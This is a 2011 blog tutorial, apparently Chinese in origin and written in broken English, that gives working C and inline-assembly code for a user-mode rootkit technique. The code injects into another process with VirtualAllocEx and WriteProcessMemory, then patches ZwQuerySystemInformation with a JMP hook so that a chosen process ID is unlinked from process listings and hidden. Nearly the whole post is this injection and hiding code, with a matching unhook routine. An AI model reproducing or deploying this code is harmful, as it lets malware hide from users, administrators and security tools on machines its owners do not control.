Sunday, August 21, 2011

Hook Specials 14 : Ring3 ZwQuerySystemInformation Hook(HideProcess)

Author:cschenhui
Because lurks too long times and past masters already wrote,I belive i must write some text for rookie, Past masters pass.

Rookies often ask analogue or relevant questions.So The article is wrote.I wish the article help some rookes.Because The code is worte to hurry,If show bug, I say sorry.

Code:
__declspec (naked) VOID FunStart(){};

__declspec (naked) VOID ZwQuerySystemInformationProxy()
{
//Backup five bytes.
_asm{
nop
nop
nop
nop
nop
mov ebx,0x88888888 //ZwQuerySystemInformation 方便特征定位
add ebx,5
jmp ebx
}
}

NTSTATUS
NTAPI
ZwQuerySystemInformationCallback(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
)
{
NTSTATUS ntStatus;
PSYSTEM_PROCESSES pSystemProcesses=NULL,Prev;

_asm{
push ebx
push ReturnLength
push SystemInformationLength
push SystemInformation
push SystemInformationClass
call ZwQuerySystemInformationProxy //Let original function execute to finish. Because need to data for us is return with the way, Then modify on data
mov ntStatus,eax
pop ebx
}

if (NT_SUCCESS(ntStatus) && SystemInformationClass==SystemProcessesAndThreadsInformation)
{
pSystemProcesses = (PSYSTEM_PROCESSES)SystemInformation;
while (TRUE)
{
if (pSystemProcesses->ProcessId==0x12345678) //If PID is need to hide,Modify the data
{
if (pSystemProcesses->NextEntryDelta)
{
//When has process aftet process is hidden,
//Pass us process oneself,Let NextEntryDelta pointe next data block
Prev->NextEntryDelta += pSystemProcesses->NextEntryDelta;
}
else
{
//When my process in the last one data,last NextEntryDelta of data structure is zero.
//The system can't seach us process.
Prev->NextEntryDelta=0;
}
break;
}
if (!pSystemProcesses->NextEntryDelta) break;
Prev=pSystemProcesses;
pSystemProcesses = (PSYSTEM_PROCESSES)((char *)pSystemProcesses + pSystemProcesses->NextEntryDelta);
}
}
return ntStatus;
}

__declspec (naked) VOID FunEnd(){};

BOOLEAN SetHook(DWORD dwProcessId,DWORD dwHideId)
{
BOOLEAN bRet=FALSE;
DWORD OldProtect;
DWORD dwCodeStart,dwCodeEnd,dwCodeSize;
BYTE HookCode[5]={0xE9,0,0,0,0};
HANDLE hProcess=NULL;
PVOID RemoteAllocBase=NULL;
DWORD dwFunAddress;
PUCHAR pBuffer;

dwCodeStart = GetFunAddress((PUCHAR)FunStart);
dwCodeEnd = GetFunAddress((PUCHAR)FunEnd);
dwCodeSize = dwCodeEnd-dwCodeStart;

hProcess = OpenProcess(PROCESS_ALL_ACCESS,
FALSE,
dwProcessId
);

if (hProcess)
{
RemoteAllocBase = VirtualAllocEx(hProcess,
NULL,
dwCodeSize,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
if (RemoteAllocBase)
{
printf("\t申请内存地址:0x%x\n",RemoteAllocBase);
g_lpRemoteAllocBase = RemoteAllocBase;
if (ZwQuerySystemInformation)
{
bRet=VirtualProtect((PVOID)dwCodeStart,
dwCodeSize,
PAGE_EXECUTE_READWRITE,
&OldProtect
);
if (bRet)
{
memcpy((PVOID)dwCodeStart,ZwQuerySystemInformation,5); //这里可以在本进程中取备份代码也可以在远程进程中取一般正常情况是一样的
*(DWORD *)(dwCodeStart+6)=(DWORD)ZwQuerySystemInformation;//这里不需要用特征定位,因为肯定是在第六个字节开始的地方
*HookCode=0xE9;
dwFunAddress = GetFunAddress((PUCHAR)ZwQuerySystemInformationCallback);
dwFunAddress -= dwCodeStart;
dwFunAddress += (DWORD)RemoteAllocBase; //Calulate ZwQuerySystemInformationCallback address on objective process
printf("\tZwQuerySystemInformationCallback内存地址:0x%x\n",dwFunAddress);
*(DWORD *)&HookCode[1]=dwFunAddress-5-(DWORD)ZwQuerySystemInformation;

dwFunAddress = GetFunAddress((PUCHAR)ZwQuerySystemInformationCallback);
for (pBuffer=(PUCHAR)dwFunAddress;
pBuffer<(PUCHAR)dwFunAddress+(dwCodeEnd-dwFunAddress);
pBuffer++
)
{
if (*(DWORD *)pBuffer==0x12345678)
{
*(DWORD *)pBuffer = dwHideId;
break;
}
}
VirtualProtect((PVOID)dwCodeStart,
dwCodeSize,
PAGE_EXECUTE_READWRITE,
&OldProtect
);
}
}
bRet=WriteProcessMemory(hProcess,
RemoteAllocBase,
(PVOID)dwCodeStart,
dwCodeSize,
NULL
);
if (bRet)
{
bRet=WriteProcessMemory(hProcess,
ZwQuerySystemInformation,
HookCode,
5,
NULL
);
}
}
CloseHandle(hProcess);
}
return bRet;
}

BOOLEAN UnHook(DWORD dwProcessId)
{
HANDLE hProcess=NULL;
BOOLEAN bRet=FALSE;
hProcess = OpenProcess(PROCESS_ALL_ACCESS,
FALSE,
dwProcessId
);

if (hProcess)
{
bRet = WriteProcessMemory(hProcess,
ZwQuerySystemInformation,
g_lpRemoteAllocBase,
5,
NULL
);
/*VirtualFreeEx(hProcess,
g_lpRemoteAllocBase,
0,
MEM_RELEASE
);*/ //There can't free apply for memory,Because function just in time is called to finished and return the apply for memory,The program may be crash.
}
return bRet;
}

No comments:

Post a Comment